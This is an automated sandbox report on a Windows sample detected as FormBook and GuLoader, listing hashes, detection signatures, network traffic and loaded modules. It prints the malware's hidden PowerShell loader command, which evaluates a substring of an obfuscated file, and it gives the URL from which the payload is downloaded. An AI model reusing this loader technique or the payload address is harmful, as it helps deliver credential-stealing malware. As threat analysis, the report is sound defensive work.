Windows Analysis Report
PO Tournefortian2453525525235235623425523235.exe

Overview

General Information

Sample name: PO Tournefortian2453525525235235623425523235.exe
Analysis ID: 1483268
MD5: d332bcaa3c61494b774f49bf3e716c21
SHA1: 8cdfa60c6b3f25c7d48753e50c298b746c3386de
SHA256: d61208c85ce83c279dd87495f0dfc1cf5c345d2bf3a6e739279dcf188e19b21d
Infos:

Detection

FormBook, GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected FormBook
Yara detected GuLoader
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Powershell drops PE file
Sample uses process hollowing technique
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Writes to foreign memory regions
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sleep loop found (likely to delay execution)
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe ReversingLabs: Detection: 28%
Multi AV Scanner detection for submitted file
Source: PO Tournefortian2453525525235235623425523235.exe ReversingLabs: Detection: 28%
Yara detected FormBook
Source: Yara match File source: 00000005.00000002.81461887155.00000000050C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.77600228920.0000000022040000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Uses 32bit PE files
Source: PO Tournefortian2453525525235235623425523235.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 185.90.59.130:443 -> 192.168.11.20:49778 version: TLS 1.2
Source: PO Tournefortian2453525525235235623425523235.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.76790599173.0000000008BA9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.76790599173.0000000008B92000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mshtml.pdb source: Sammentrykket.exe, 00000004.00000001.76671061814.0000000000649000.00000020.00000001.01000000.00000008.sdmp
Source: Binary string: wntdll.pdbUGP source: Sammentrykket.exe, 00000004.00000002.77599512264.0000000020A1D000.00000040.00001000.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77133628191.00000000205A0000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000002.77599512264.00000000208F0000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: Sammentrykket.exe, Sammentrykket.exe, 00000004.00000002.77599512264.0000000020A1D000.00000040.00001000.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77133628191.00000000205A0000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000002.77599512264.00000000208F0000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: m.Core.pdb0 source: powershell.exe, 00000002.00000002.76790599173.0000000008BA9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mshtml.pdbUGP source: Sammentrykket.exe, 00000004.00000001.76671061814.0000000000649000.00000020.00000001.01000000.00000008.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000002.00000002.76780432500.000000000321D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdb316567-2969588382-3778222414-1001_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32z source: powershell.exe, 00000002.00000002.76790599173.0000000008BA9000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Code function: 0_2_00406850 FindFirstFileW,FindClose, 0_2_00406850
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Code function: 0_2_00405C26 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_00405C26
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /FPkXcnPDrjTal168.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: villa-ventura.comCache-Control: no-cache
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /FPkXcnPDrjTal168.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: villa-ventura.comCache-Control: no-cache
Source: global traffic DNS traffic detected: DNS query: villa-ventura.com
Source: powershell.exe, 00000002.00000002.76780432500.000000000321D000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77039711491.00000000048E2000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77136216434.00000000048E2000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77135468668.00000000048E2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000002.00000002.76780432500.000000000321D000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77039711491.00000000048E2000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77136216434.00000000048E2000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77135468668.00000000048E2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Sammentrykket.exe, 00000004.00000001.76671061814.0000000000649000.00000020.00000001.01000000.00000008.sdmp String found in binary or memory: http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.
Source: PO Tournefortian2453525525235235623425523235.exe, 00000000.00000002.76393471413.000000000040A000.00000004.00000001.01000000.00000003.sdmp, PO Tournefortian2453525525235235623425523235.exe, 00000000.00000000.76378317578.000000000040A000.00000008.00000001.01000000.00000003.sdmp String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.76785949957.000000000612A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.76782450843.0000000005217000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.76782450843.0000000005217000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png4
Source: powershell.exe, 00000002.00000002.76782450843.00000000050C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.76782450843.0000000005217000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.76782450843.0000000005217000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html4
Source: Sammentrykket.exe, 00000004.00000001.76671061814.0000000000649000.00000020.00000001.01000000.00000008.sdmp String found in binary or memory: http://www.gopher.ftp://ftp.
Source: Sammentrykket.exe, 00000004.00000001.76671061814.0000000000626000.00000020.00000001.01000000.00000008.sdmp String found in binary or memory: http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD
Source: powershell.exe, 00000002.00000002.76780432500.000000000321D000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77039711491.00000000048E2000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77136216434.00000000048E2000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77135468668.00000000048E2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.quovadis.bm0
Source: powershell.exe, 00000002.00000002.76782450843.00000000050C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000002.00000002.76785949957.000000000612A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.76785949957.000000000612A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.76785949957.000000000612A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.76782450843.0000000005217000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.76782450843.0000000005217000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester4
Source: Sammentrykket.exe, 00000004.00000001.76671061814.0000000000649000.00000020.00000001.01000000.00000008.sdmp String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: powershell.exe, 00000002.00000002.76785949957.000000000612A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.76780432500.000000000321D000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77039711491.00000000048E2000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77136216434.00000000048E2000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000003.77135468668.00000000048E2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: Sammentrykket.exe, 00000004.00000003.77136726603.0000000004890000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000002.77592580545.0000000004891000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://villa-ventura.com/
Source: Sammentrykket.exe, 00000004.00000003.77136726603.00000000048A7000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000002.77592493794.0000000004868000.00000004.00000020.00020000.00000000.sdmp, Sammentrykket.exe, 00000004.00000002.77592580545.00000000048A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://villa-ventura.com/FPkXcnPDrjTal168.bin
Source: Sammentrykket.exe, 00000004.00000002.77592493794.0000000004868000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://villa-ventura.com/FPkXcnPDrjTal168.binwt?
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown HTTPS traffic detected: 185.90.59.130:443 -> 192.168.11.20:49778 version: TLS 1.2

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 00000005.00000002.81461887155.00000000050C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.77600228920.0000000022040000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 00000005.00000002.81461887155.00000000050C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.77600228920.0000000022040000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Jump to dropped file
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209634E0 NtCreateMutant,LdrInitializeThunk, 4_2_209634E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20962B90 NtFreeVirtualMemory,LdrInitializeThunk, 4_2_20962B90
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20962BC0 NtQueryInformationToken,LdrInitializeThunk, 4_2_20962BC0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_20962D10 NtQuerySystemInformation,LdrInitializeThunk, 4_2_20962D10
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Code function: 0_2_0040350A EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040350A
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_033C8930 2_2_033C8930
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_033C8060 2_2_033C8060
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_033C7D18 2_2_033C7D18
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_07A7BEFE 2_2_07A7BEFE
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209200A0 4_2_209200A0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2093B0D0 4_2_2093B0D0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209E70F1 4_2_209E70F1
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209DE076 4_2_209DE076
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209351C0 4_2_209351C0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2094B1E0 4_2_2094B1E0
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091F113 4_2_2091F113
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209F010E 4_2_209F010E
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_209CD130 4_2_209CD130
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2097717A 4_2_2097717A
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Code function: 4_2_2091D2EC 4_2_2091D2EC
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5076 -s 1896
Uses 32bit PE files
Source: PO Tournefortian2453525525235235623425523235.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Yara signature match
Source: 00000005.00000002.81461887155.00000000050C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.77600228920.0000000022040000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: classification engine Classification label: mal100.troj.evad.winEXE@7/17@1/1
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Code function: 0_2_0040350A EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040350A
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe File created: C:\Users\user\AppData\Local\efterplaprernes Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5784:304:WilStaging_02
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5076
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5784:120:WilError_03
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe File created: C:\Users\user\AppData\Local\Temp\nsyDC36.tmp Jump to behavior
Source: PO Tournefortian2453525525235235623425523235.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: PO Tournefortian2453525525235235623425523235.exe ReversingLabs: Detection: 28%
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe File read: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe "C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe"
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Typograferer=Get-Content 'C:\Users\user\AppData\Local\efterplaprernes\Shakya\memorized\Heptandrous.Arr';$Anskueliggjordes=$Typograferer.SubString(51945,3);.$Anskueliggjordes($Typograferer)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe "C:\Users\user\AppData\Local\Temp\Sammentrykket.exe"
Source: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5076 -s 1896
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Typograferer=Get-Content 'C:\Users\user\AppData\Local\efterplaprernes\Shakya\memorized\Heptandrous.Arr';$Anskueliggjordes=$Typograferer.SubString(51945,3);.$Anskueliggjordes($Typograferer)" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\Temp\Sammentrykket.exe "C:\Users\user\AppData\Local\Temp\Sammentrykket.exe" Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: usp10.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\PO Tournefortian2453525525235235623425523235.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
